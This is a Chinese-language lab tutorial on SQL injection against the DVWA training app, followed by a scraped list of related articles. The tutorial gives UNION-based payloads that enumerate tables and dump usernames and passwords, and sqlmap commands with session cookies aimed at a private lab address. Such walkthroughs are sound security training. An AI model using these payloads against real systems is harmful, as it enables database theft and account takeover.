SQL Injection(SQL回显注入)

注入思路:

是否有注入?是字符型还是数字型?查看回显位

1. Low

源码关键语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

通过查询语句可以看到,它是根据限制user_id字段来回显数据的,

我们的可控位置就是$id这个变量

可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入

例如

$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;

获取字段个数

1’ order by n #


查看回显位

获取当前数据库
-1’ union select database(),version() #

查询database里的表名

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

查看字段数据
-1’ union select user,password from users #

2.Medium

只能选择固定的几个数字

添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符

查看源码发现是数字型注入

可以用burp抓包,在burp里注入

burp重复Low级的操作,但是注意是数字型数据,所以不要用单引号闭合

3. High

多了LIMIT 1,SELECT只能执行一条查询语句。

绕过非常简单,只要#注释掉后面的语句就行了。

在搜索框或者burp实行和Low级别一样的操作就行了。

4.Impossible

只能输入数字,不可能产生注入。

5.运用sqlmap自动化注入

1.查看信息

首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

结果:

可以查看到靶机的一些信息。

2.查看数据库名

–dbs参数代表查看存在的数据库名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

结果:

3.查看表名

-D指定数据库名为dvwa,–tables查看表名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

结果:

user表明显是存放用户数据的表,所以下一步查看此表数据

4.查看字段名

-T指定表名,–columns 查看字段名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

结果:

可以查看存在password字段

5.查看字段数据

-C指定查看的字段名,–dump查看字段数据

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

结果:

登录

尝试拿获取的数据登录

登陆成功,用户名为gordonb

DVWA SQL Injection(SQL注入)全等级的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. SQL Injection(SQL注入)

    什么是SQL注入? SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询.当 Web 应用程序使用未经正确验证的用户输入与数据库通信时,攻击者 ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  5. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  6. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  7. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

随机推荐

  1. Springboot简单功能示例-4 自定义加密进行登录验证

    springboot-sample 介绍 springboot简单示例 跳转到发行版 查看发行版说明 软件架构(当前发行版使用) springboot hutool-all 非常好的常用java工具库 ...

  2. 前端三件套系例之CSS——CSS3基础布局

    文章目录 css基础布局 1.布局相关的标签 2.盒子模型 2-1 什么是盒子模型 2-2 margin外边距 2-3 padding内填充 2-4 案例 3.浮动(float) 3-1 什么是浮动 ...

  3. Little Victor and Set 题解

    Little Victor and Set 题目大意 在 \([l,r]\) 中选不超过 \(k\) 个相异的数使得异或和最小,输出方案. 思路分析 分类讨论: 当 \(k=1\) 时: 显然选 \( ...

  4. 钉钉OA自定义审批流的创建和使用

    前言 大家好!我是sum墨,一个一线的底层码农,平时喜欢研究和思考一些技术相关的问题并整理成文,限于本人水平,如果文章和代码有表述不当之处,还请不吝赐教. 钉钉作为一款办公软件,审批功能是它的核心功能 ...

  5. spring-boot集成hikari多数据源

    maven依赖 <dependency> <groupId>com.zaxxer</groupId> <artifactId>HikariCP</ ...

  6. shell脚本之规范与变量

    shell编程规范与变量 名词简述 面向过程语言 按照顺序执行程序 第一件事干什么->第二件事干什么......(C,shell...) 面向对象语言 把程序看成一个整体(java,python ...

  7. P9073 [WC/CTS2023] 楼梯 题解

    题目链接 简要题意 有一块楼梯,这里指的楼梯是倒着的,正过来看上一层宽度一定小于等于这一层宽度,并且由格子组成,你需要对其进行增删和恢复某一历史版本的操作,并回答这块楼梯是否有固定格数的子楼梯. 题目 ...

  8. angular,vue,react三大框架选型

    三大框架,本质都是基于js的web应用(前端做的都是web应用包括移动)框架,他们都是帮助我们解决问题的工具,具体用哪个,要结合具体场景. 这三者中,Angular的适用领域相对窄一些,React可以 ...

  9. PostgreSQL 提升子连接与 ORACLE 子查询非嵌套

    查询优化器对子查询一般采用嵌套执行的方式,即父查询中的每一行,都要执行一次子查询,这样子查询会执行很多次,效率非常低. 例如 exists.not exists 逐行取出经行匹配处理,项目中使用子查询 ...

  10. Django笔记四十一之Django中使用es

    本文首发于公众号:Hunter后端 原文链接:Django笔记四十一之Django中使用es 前面在 Python 连接 es 的操作中,有过介绍如何使用 Python 代码连接 es 以及对 es ...